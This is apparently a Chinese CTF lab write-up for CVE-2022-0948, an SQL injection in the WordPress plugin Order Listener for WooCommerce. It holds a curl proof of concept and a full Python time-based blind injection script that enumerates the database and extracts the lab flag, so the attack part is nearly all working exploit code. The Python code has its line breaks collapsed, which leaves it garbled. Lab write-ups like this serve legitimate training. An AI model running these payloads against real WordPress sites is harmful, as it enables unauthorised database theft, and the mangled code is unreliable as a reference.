当前位置: 首页 > news >正文

春秋云镜 CVE-2022-0948

春秋云镜 CVE-2022-0948 WordPress plugin Order Listener for WooCommerce SQLI

靶标介绍

WordPress 插件 Order Listener for WooCommerce 3.2.2 之前版本存在 SQL注入漏洞。

启动场景

在这里插入图片描述

漏洞利用

EXP

curl 'http://example.com/?rest_route=/olistener/new' --data '{"id":" (SELECT SLEEP(3))#"}' -H 'content-type: application/json'

py

import requests
import timedef time_delay(url, headers, payload):start_time = time.time()response = requests.post(url, headers=headers, data=payload)end_time = time.time()#print(end_time,start_time)delay = end_time - start_timereturn delaydef time_based_blind_sql_injection(url, headers):result=[]for i in range(1, 100):for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':#find db#payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j)#find table#payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#find table -wp%payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#find column#payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j)payload = """{"id":" (if(ascii(substr((select flag from ctf.flag),%d,1))=%d,sleep(10),1))#"}""" % (i, j)delay = time_delay(url, headers, payload)print('{ ',''.join(result),' } ->',i,'-',j,"time_delay:",delay)if delay > 9:result.append(chr(j))print(''.join(result))breakelse:print("The payload is not vulnerable to SQL injection.")print('result:',''.join(result))if __name__ == "__main__":url = "http://eci-2zecep32fxlvajf5hatx.cloudeci1.ichunqiu.com/?rest_route=/olistener/new"headers = {'Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9','Cookie': '_ga=GA1.2.617032228.1689668529; _ga_J1DQF09WZC=GS1.2.1689668531.1.0.1689668531.0.0.0','Connection': 'close','Content-Type': 'application/json',}time_based_blind_sql_injection(url, headers)

在这里插入图片描述

得到flag

flag{2030a44c-e755-4a73-a9e8-f825b0875576}

http://www.lryc.cn/news/119712.html

相关文章:

  • 【资讯速递】AI与人类思维的融合;OpenAI在中国申请注册“GPT-5”商标;移动大模型主要面向to B 智能算力是未来方向
  • TDesign中后台管理系统-用户登录
  • RN 使用react-navigation写可以滚动的横向导航条(expo项目)
  • 单例模式写法的总结(保证线程安全)
  • SQL Server 查询数据并汇总相关技巧 23.08.08
  • 第一章 SpringBoot 介绍-最小配置
  • 10-1_Qt 5.9 C++开发指南_Data Visualization实现数据三维显示
  • [保研/考研机试] KY87 鸡兔同笼 北京大学复试上机题 C++实现
  • Jmeter快捷方式和应用图标设置
  • PHP sm4国密加密解密文件
  • CBCGPRibbon 添加Edit、Combox、Hyperlink控件
  • 漫话拥塞控制:BBR 是个单流模型
  • HTML详解连载(1)
  • 最新版本2023UI千月影视APP源码 开源完美版前后端完美匹配 后端基于ThinkPHP框架
  • centos7安装Docker详细步骤(无坑版教程)
  • Python入门自学进阶-Web框架——39、redis、rabbitmq、git——2
  • 了解IL汇编跳转语句
  • JVM运行时五大数据区域详解
  • Vuex 使用教程
  • springboot启动you will need to add ‘org.slf4j‘ to prefer-application-packages异常解决
  • 云原生核心原则和特征
  • 【ElasticSearch入门】
  • SQL | 注释
  • oi知识表+NOIP提高组算法及算法思想总结
  • 【mysql】实现递归查询
  • JUC并发编程之原子类
  • 测试设计中隐藏的边界有哪些?
  • 领航优配:暑期旅游市场热度持续攀升,相关公司业绩有望持续释放
  • 基于 CentOS 7 构建 LVS-DR 集群 及 配置nginx负载均衡
  • docker搭建在线Markdown服务器